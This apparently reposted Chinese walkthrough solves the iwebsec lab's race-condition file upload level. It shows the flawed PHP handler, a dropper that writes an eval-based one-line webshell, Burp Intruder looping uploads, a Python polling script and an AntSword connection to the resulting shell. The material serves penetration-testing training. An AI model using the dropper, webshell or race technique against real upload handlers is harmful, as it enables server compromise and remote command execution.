第07关 条件竞争文件上传
通过对iwebsec靶场文件上传的第七关卡讲解条件竞争法实现文件上传的方法,通过python脚本配合burpsuite工具实现渗透过程。
1.打开靶场
iwebsec 靶场漏洞库iwebsechttp://iwebsec.com:81/upload/07.php
随手构造info.php,内容为<?php phpinfo();?>如下所示,提示该文件不允许删除已删除,提到删除应该是条件竞争类的文件上传漏洞
2.源码分析
如下所示,对于不在白名单中的文件类型,服务器直接删掉了
<?php
require_once('../header.php');
?>
<html>
<meta http-equiv="Content-Type" content="text/html; charset=utf8"/>
<head>
<title>条件竞争文件上传</title>
</head>
<h2>条件竞争文件上传</h2>
<div class="alert alert-success">
<p>请上传PHP文件</p>
</div>
<body>
<form enctype="multipart/form-data" method="post" name="uploadfile">
请上传文件:<input type="file" name="upfile" /><br>
<input type="submit" name="submit" value="submit" />
</form>
</html>
<?php
if (isset($_POST['submit'])){
$allow_ext = array("gif","png","jpg");
$uploaddir = 'uploads/';
$filename = $uploaddir.$_FILES['upfile']['name'];
move_uploaded_file($_FILES['upfile']['tmp_name'],$filename);
$file = "./".$filename;
echo "文件上传成功: ".$file."\n<br />";
$ext = array_pop(explode(".",$_FILES['upfile']['name']));
if (!in_array($ext,$allow_ext)){
unlink($file);
die("此文件类型不允许上传已删除");
}
}else{
die("");
}
?>
3.构造脚本
构造脚本命名为shell.php,它的作用是生成一句话木马cmd.php,cmd.php的内容为<?php eval($_POST[cmd]);?>
<?php
fputs (fopen("cmd.php","w"),'<?php eval($_POST[cmd]);?>')
?>
希望通过向服务器不停的上传shell.php脚本,在其未被删除前,利用条件竞争执行shell.php脚本生成一句话木马cmd.php
4.intruder死循环上传shell.php
(1)bp开启拦截模式
(2)浏览器上传shell.php
(3)bp抓包并发送给intruder
(4)intruder中的positions处清除所有载荷
如下所示,点击clear
(5)intruder中的payload处选择1没有负载,无限重复
英文版bp如下
中文版bp如下
5.写python脚本不断访问shell.php
根据第一次上传失败的提示得知文件上传后的路径为./uploads/info.php
那么shell.php上传成功后,在没有被删掉前,其url访问路径为http://iwebsec.com:81/upload/uploads/shell.php
于是构造python脚本一直访问shell.php,利用时间差,不断访问使其可以在删除前生成cmd.php这个webshell,如下所示
import requests
url = "http://iwebsec.com:81/upload/uploads/shell.php" #这个路径,是上传的那个路径
while True:
html = requests.get(url)
if html.status_code == 200:
print("OK")
break
else:
print("NO")
6.渗透攻击
(1)运行python脚本
(2)intruder开始攻击
点击攻击attack
如下所示bp开始不断上传shell.php
随机打开bp攻击中的response,可知intruder执行成功
(3)等待python脚本访问成功
python访问成功,提示OK,代表已经生成了cmd.shell
7.访问cmd.shell
蚁剑添加 url为http://iwebsec.com:81/upload/uploads/cmd.php 密码为cmd
添加后如下所示
连接成功
版权归原作者 mooyuan天天 所有, 如有侵权,请联系我们删除。